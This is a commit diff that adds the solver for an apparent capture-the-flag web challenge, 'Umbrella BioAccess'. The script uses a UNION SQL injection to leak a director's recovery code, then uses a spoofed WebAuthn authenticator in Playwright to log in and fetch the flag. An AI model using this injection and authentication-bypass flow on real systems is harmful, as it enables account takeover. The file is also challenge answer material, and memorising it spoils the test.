Init. commit
This commit is contained in:
3
web-umbrella-bio-access/solve/requirements.txt
Normal file
3
web-umbrella-bio-access/solve/requirements.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
playwright>=1.52,<2
|
||||
requests>=2.32,<3
|
||||
|
||||
147
web-umbrella-bio-access/solve/solver.py
Normal file
147
web-umbrella-bio-access/solve/solver.py
Normal file
@@ -0,0 +1,147 @@
|
||||
import argparse
|
||||
import re
|
||||
import sys
|
||||
from dataclasses import dataclass
|
||||
from urllib.parse import urljoin
|
||||
|
||||
import requests
|
||||
import urllib3
|
||||
from playwright.sync_api import BrowserContext, Page, sync_playwright
|
||||
|
||||
|
||||
DIRECTOR_QUERY = (
|
||||
"') UNION ALL SELECT codename,recovery_code,division,dossier "
|
||||
"FROM directory_public_view WHERE role='director' -- "
|
||||
)
|
||||
RECOVERY_CODE_RE = re.compile(r"^[0-9a-f]{24}$")
|
||||
|
||||
|
||||
@dataclass
|
||||
class DirectorProfile:
|
||||
codename: str
|
||||
recovery_code: str
|
||||
|
||||
|
||||
def parse_args() -> argparse.Namespace:
|
||||
parser = argparse.ArgumentParser(description="Exploit Umbrella BioAccess and print the flag.")
|
||||
parser.add_argument("--base-url", required=True, help="Base URL of the challenge, e.g. https://bioaccess.ctf")
|
||||
parser.add_argument(
|
||||
"--insecure",
|
||||
action="store_true",
|
||||
help="Disable TLS verification for self-signed challenge certificates",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--headful",
|
||||
action="store_true",
|
||||
help="Run Chromium in headful mode for debugging",
|
||||
)
|
||||
return parser.parse_args()
|
||||
|
||||
|
||||
def api_url(base_url: str, path: str) -> str:
|
||||
return urljoin(base_url.rstrip("/") + "/", path.lstrip("/"))
|
||||
|
||||
|
||||
def discover_director(base_url: str, insecure: bool) -> DirectorProfile:
|
||||
session = requests.Session()
|
||||
session.verify = not insecure
|
||||
|
||||
if insecure:
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
response = session.post(
|
||||
api_url(base_url, "/api/directory/search"),
|
||||
json={"query": DIRECTOR_QUERY},
|
||||
timeout=20,
|
||||
)
|
||||
response.raise_for_status()
|
||||
payload = response.json()
|
||||
|
||||
items = payload.get("items", [])
|
||||
for item in items:
|
||||
codename = str(item.get("codename", ""))
|
||||
display_name = str(item.get("displayName", ""))
|
||||
if RECOVERY_CODE_RE.fullmatch(display_name):
|
||||
return DirectorProfile(codename=codename, recovery_code=display_name)
|
||||
|
||||
raise RuntimeError("Director recovery vector not found in SQLi response")
|
||||
|
||||
|
||||
def enable_virtual_authenticator(context: BrowserContext, page: Page) -> None:
|
||||
cdp = context.new_cdp_session(page)
|
||||
cdp.send("WebAuthn.enable")
|
||||
cdp.send(
|
||||
"WebAuthn.addVirtualAuthenticator",
|
||||
{
|
||||
"options": {
|
||||
"protocol": "ctap2",
|
||||
"transport": "internal",
|
||||
"hasResidentKey": True,
|
||||
"hasUserVerification": True,
|
||||
"isUserVerified": True,
|
||||
"automaticPresenceSimulation": True,
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def solve_with_browser(base_url: str, profile: DirectorProfile, insecure: bool, headful: bool) -> str:
|
||||
with sync_playwright() as playwright:
|
||||
browser = playwright.chromium.launch(headless=not headful)
|
||||
context = browser.new_context(ignore_https_errors=insecure)
|
||||
page = context.new_page()
|
||||
|
||||
enable_virtual_authenticator(context, page)
|
||||
|
||||
page.goto(api_url(base_url, "/recovery"), wait_until="networkidle")
|
||||
page.get_by_test_id("recovery-code").fill(profile.recovery_code)
|
||||
page.get_by_test_id("recovery-submit").click()
|
||||
page.wait_for_url(re.compile(r".*/access$"), timeout=20_000)
|
||||
|
||||
page.get_by_test_id("login-codename").fill(profile.codename)
|
||||
page.get_by_test_id("login-submit").click()
|
||||
page.wait_for_url(re.compile(r".*/vault$"), timeout=20_000)
|
||||
|
||||
page.get_by_test_id("vault-fetch").click()
|
||||
page.wait_for_function(
|
||||
"""
|
||||
() => {
|
||||
const node = document.querySelector('[data-testid="vault-flag"]');
|
||||
return node && node.textContent && node.textContent.trim() !== '\u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043d\u0435 \u0432\u044b\u0434\u0430\u043d\u044b.';
|
||||
}
|
||||
""",
|
||||
timeout=20_000,
|
||||
)
|
||||
flag = page.get_by_test_id("vault-flag").text_content().strip()
|
||||
|
||||
browser.close()
|
||||
|
||||
if not flag or flag == "Материалы не выданы." or flag == "МАТЕРИАЛЫ НЕ ВЫДАНЫ.":
|
||||
raise RuntimeError("Vault returned no payload")
|
||||
if not flag.lower().startswith("caplag{"):
|
||||
raise RuntimeError(f"Unexpected flag format: {flag}")
|
||||
|
||||
return flag.lower()
|
||||
|
||||
|
||||
def main() -> int:
|
||||
args = parse_args()
|
||||
|
||||
try:
|
||||
profile = discover_director(args.base_url, args.insecure)
|
||||
print(f"[+] director codename: {profile.codename}")
|
||||
print(f"[+] recovery code: {profile.recovery_code}")
|
||||
|
||||
flag = solve_with_browser(args.base_url, profile, args.insecure, args.headful)
|
||||
print(f"[+] flag: {flag}")
|
||||
return 0
|
||||
except Exception as exc:
|
||||
message = str(exc)
|
||||
if "Executable doesn't exist" in message or "playwright install" in message.lower():
|
||||
message = f"{message}\n[hint] install a browser with: python -m playwright install chromium"
|
||||
print(f"[-] solve failed: {message}", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
Reference in New Issue
Block a user